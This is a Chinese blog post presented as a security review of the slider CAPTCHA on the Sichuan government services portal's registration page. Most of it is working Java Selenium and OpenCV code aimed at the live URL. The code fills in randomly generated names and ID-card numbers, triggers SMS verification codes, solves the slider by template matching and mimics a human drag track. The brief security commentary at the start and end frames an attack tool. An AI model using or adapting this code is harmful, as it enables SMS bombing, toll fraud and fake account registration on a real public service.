前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：
- 暴力破解密码，造成用户信息泄露
- 短信盗刷的安全问题，影响业务及导致用户投诉
- 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析
一、 四川政务服务网PC 注册入口
简介：四川政务服务网（又称"天府通办"）是四川省政府官方推出的一体化政务服务平台，于2017年上线，2019年全面升级，聚焦"一网通办"目标，整合政务服务资源，提升大数据应用水平。
主要功能与服务
提供市场主体设立/变更/注销、不动产登记预约、川渝通办（推动成渝双城经济圈建设）、工程建设项目审批等高频政务服务事项在线办理。涵盖公积金查询、户籍办理、就业创业、职业资格认证、婚姻登记等个人事务，以及税务申报、企业资质认证等法人服务。
1. 注册引导页
2. 会员注页面
二、 安全性分析报告：
四川政务服务网采用的是自己研发的滑动验证码，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。
三、 测试方法：
前端界面分析，这是四川政务服务网自己研发的滑动验证码，网上没有现成的教学视频，但形式都差不多，没什么难度 ， 这次还是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分 。
1. 模拟器交互部分
bash
private OpenCv2 cv2 = new OpenCv2(64, 128);
private final static Logger logger = LoggerFactory.getLogger(ScZwFw.class);
private static String INDEX_URL = "https://rzsc.sczwfw.gov.cn/portal/newPerson/personRegister.jsp";
private IdCardGenerator g = new IdCardGenerator();
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
try {
RetEntity retEntity = new RetEntity();
driver.get(INDEX_URL);
String realName = ChineseNameGenerator.generate();
WebElement realNameElement = driver.findElement(By.id("realName"));
realNameElement.sendKeys(realName);
// 3输入身份证
String idNumber = g.generate();
driver.findElement(By.id("idNumber")).sendKeys(idNumber);
// 4 输入出生时间
WebElement birthElement = driver.findElement(By.id("certBeginDate"));
birthElement.click();
driver.findElement(By.xpath("//td[@class='layui-this']")).click();
WebElement longAgreeElement = driver.findElement(By.name("idCardYear"));
((JavascriptExecutor) driver).executeScript("arguments[0].click();", longAgreeElement);
// 输入手机号
Thread.sleep(1000);
WebElement phoneElement = driver.findElement(By.id("username"));
phoneElement.sendKeys(phone);
// 同意协议
WebElement agreeElement = ChromeUtil.waitElement(driver, By.id("protalCheck"), 1);
((JavascriptExecutor) driver).executeScript("arguments[0].click();", agreeElement);
// 点击获取验证码
WebElement sendElement = driver.findElement(By.id("sendSmsCodeTxt"));
sendElement.click();
WebElement moveElemet = ChromeUtil.waitElement(driver, By.className("verify-move-block"), 20);
// 1 获取带阴影的背景图
byte[] bigBytes = GetImage.callJsByName(driver, "backImg", null);
// 2 获取小图
byte[] smallBytes = GetImage.callJsByName(driver, "bock-backImg", null);
// 3 计算匹配到的位置
String ckSum = GenChecksumUtil.genChecksum(bigBytes);
Map<String, Double> openResult = getOpenCvDistance(ckSum, bigBytes, smallBytes, this.getClass().getSimpleName(), 0);
if (openResult == null || openResult.size() < 2) {
System.out.println("ckSum=" + ckSum + "->openResult=" + openResult);
return null;
}
Double r = 400 / 360.0;
BigDecimal disD = new BigDecimal(openResult.get("minX") * r).setScale(0, BigDecimal.ROUND_HALF_UP);
int distance = disD.intValue();
// 4 滑动
ActionMove.move(driver, moveElemet, distance);
// 23秒后重新获取
WebElement gtElement = ChromeUtil.waitElement(driver, By.xpath("//a[@id='sendSmsCodeTxt' and contains(text(),'秒后重新获取')]"), 50);
String msg = (gtElement != null) ? gtElement.getText() : null;
retEntity.setMsg(msg);
if (msg != null && msg.contains("后重新获取")) {
retEntity.setRet(0);
}
return retEntity;
} catch (Exception e) {
System.out.println("phone=" + phone + ",e=" + e.toString());
for (StackTraceElement ele : e.getStackTrace()) {
System.out.println(ele.toString());
}
return null;
} finally {
driver.manage().deleteAllCookies();
}
}2. 距离识别
bash
/**
*
* @param ckSum
* @param bigBytes
* @param smallBytes
* @param factory
* @return { width, maxX }
*/
public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {
try {
String basePath = ConstTable.codePath + factory + "/";
File baseFile = new File(basePath);
if (!baseFile.isDirectory()) {
baseFile.mkdirs();
}
// 小图文件
File smallFile = new File(basePath + ckSum + "_s.png");
FileUtils.writeByteArrayToFile(smallFile, smallBytes);
// 大图文件
File bigFile = new File(basePath + ckSum + "_b.png");
FileUtils.writeByteArrayToFile(bigFile, bigBytes);
// 边框清理(去干扰)
byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;
File tpFile = new File(basePath + ckSum + "_t.png");
FileUtils.writeByteArrayToFile(tpFile, clearBoder);
String resultFile = basePath + ckSum + "_o.png";
return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);
} catch (Throwable e) {
logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());
for (StackTraceElement elment : e.getStackTrace()) {
logger.error(elment.toString());
}
return null;
}
}
/**
* Open Cv 图片模板匹配
*
* @param tpPath
* 模板图片路径
* @param bgPath
* 目标图片路径
* @return { width, maxX }
*/
private String[] getWidth(String tpPath, String bgPath, String resultFile) {
try {
Rect rectCrop = clearWhite(tpPath);
Mat g_tem = Imgcodecs.imread(tpPath);
Mat clearMat = g_tem.submat(rectCrop);
Mat cvt = new Mat();
Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
Mat edgesSlide = new Mat();
Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
Mat cvtSlide = new Mat();
Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
Imgcodecs.imwrite(tpPath, cvtSlide);
Mat g_b = Imgcodecs.imread(bgPath);
Mat edgesBg = new Mat();
Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);
Mat cvtBg = new Mat();
Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);
int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
// 归一化相关匹配法
MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
Point maxLoc = minMaxLoc.maxLoc;
Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
Imgcodecs.imwrite(resultFile, cvtBg);
String width = String.valueOf(cvtSlide.cols());
String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());
System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);
return new String[] { width, maxX };
} catch (Throwable e) {
System.out.println("getWidth() " + e.toString());
logger.error("getWidth() " + e.toString());
for (StackTraceElement elment : e.getStackTrace()) {
logger.error(elment.toString());
}
return null;
}
}
public Rect clearWhite(String smallPath) {
try {
Mat matrix = Imgcodecs.imread(smallPath);
int rows = matrix.rows();// height -> y
int cols = matrix.cols();// width -> x
System.out.println("OpenCv2.clearWhite() rows=" + rows + ",cols=" + cols);
Double rgb;
double[] arr;
int minX = 255;
int minY = 255;
int maxX = 0;
int maxY = 0;
Color c;
for (int x = 0; x < cols; x++) {
for (int y = 0; y < rows; y++) {
arr = matrix.get(y, x);
rgb = 0.00;
for (int i = 0; i < 3; i++) {
rgb += arr[i];
}
c = new Color(rgb.intValue());
int b = c.getBlue();
int r = c.getRed();
int g = c.getGreen();
int sum = r + g + b;
if (sum >= 5) {
if (x <= minX)
minX = x;
else if (x >= maxX)
maxX = x;
if (y <= minY)
minY = y;
else if (y >= maxY)
maxY = y;
}
}
}
int boder = 1;
if (boder > 0) {
minX = (minX > boder) ? minX - boder : 0;
maxX = (maxX + boder < cols) ? maxX + boder : cols;
minY = (minY > boder) ? minY - boder : 0;
maxY = (maxY + boder < rows) ? maxY + boder : rows;
}
int width = (maxX - minX);
int height = (maxY - minY);
System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);
Rect rectCrop = new Rect(minX, minY, width, height);
return rectCrop;
} catch (Throwable e) {
StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");
for (StackTraceElement elment : e.getStackTrace()) {
er.append(elment.toString() + "\n");
}
logger.error(er.toString());
System.out.println(er.toString());
return null;
}
}3. 轨道生成及移动算法
bash
/**
* 双轴轨道生成算法，主要实现平滑加速和减速
*
* @param distance
* @return
*/
public static List<Integer[]> getXyTrack(int distance) {
List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
try {
int a = (int) (distance / 3.0) + random.nextInt(10);
int h = 0, current = 0;// 已经移动的距离
BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
BigDecimal move = null;// 每次循环移动的距离
List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
boolean plus = true;
Double t = 0.18, v = 0.00, v0;
while (current <= distance) {
h = random.nextInt(2);
if (current > distance / 2) {
h = h * -1;
}
v0 = v;
v = v0 + a * t;
move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
if (move.intValue() < 1)
move = new BigDecimal(1L);
if (plus) {
track.add(new Integer[] { move.intValue(), h });
} else {
subList.add(0, new Integer[] { move.intValue(), h });
}
current += move.intValue();
if (plus && current >= mid.intValue()) {
plus = false;
move = new BigDecimal(0L);
v = 0.00;
}
}
track.addAll(subList);
int bk = current - distance;
if (bk > 0) {
for (int i = 0; i < bk; i++) {
track.add(new Integer[] { -1, h });
}
}
System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
return track;
} catch (Exception e) {
System.out.print(e.toString());
return null;
}
}
/**
* 模拟人工移动
*
* @param driver
* @param element页面滑块
* @param distance需要移动距离
* @throws InterruptedException
*/
public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
List<Integer[]> track = getXyTrack(distance);
if (track == null || track.size() < 1) {
System.out.println("move() track=" + track);
}
int moveY, moveX;
StringBuffer sb = new StringBuffer();
try {
Actions actions = new Actions(driver);
actions.clickAndHold(element).perform();
Thread.sleep(50);
long begin, cost;
Integer[] move;
int sum = 0;
for (int i = 0; i < track.size(); i++) {
begin = System.currentTimeMillis();
move = track.get(i);
moveX = move[0];
sum += moveX;
moveY = move[1];
if (moveX < 0) {
if (sb.length() > 0) {
sb.append(",");
}
sb.append(moveX);
}
actions.moveByOffset(moveX, moveY).perform();
cost = System.currentTimeMillis() - begin;
if (cost < 5) {
Thread.sleep(5 - cost);
}
}
if (sb.length() > 0) {
System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
}
Thread.sleep(180);
actions.release(element).perform();
Thread.sleep(500);
} catch (Exception e) {
StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
for (StackTraceElement elment : e.getStackTrace())
er.append(elment.toString() + "\n");
logger.error(er.toString());
System.out.println(er.toString());
}
}4. 图片比对结果测试样例：
四丶结语
四川政务服务网（又称"天府通办"）是四川省政府官方推出的一体化政务服务平台，于2017年上线，2019年全面升级，聚焦"一网通办"目标，整合政务服务资源，提升大数据应用水平。政务服务平台，应该重点关注安全，技术实力雄厚， 人才济济，采用的是自己研发的滑动验证产品， 在一定程度上提高了用户体验， 不过随着图形识别技术及机器学习能力的提升，所以在网上破解的文章和教学视频也是大量存在，并且经过验证的确有效， 所以除了滑动验证方式， 花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。
很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：" 需求这么赶，当然是先实现功能啊 "，" 业务量很小啦，系统就这么点人用，不怕的 " ， " 我们怎么会被盯上呢，不可能的 "等等。
有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。
所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#
谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？
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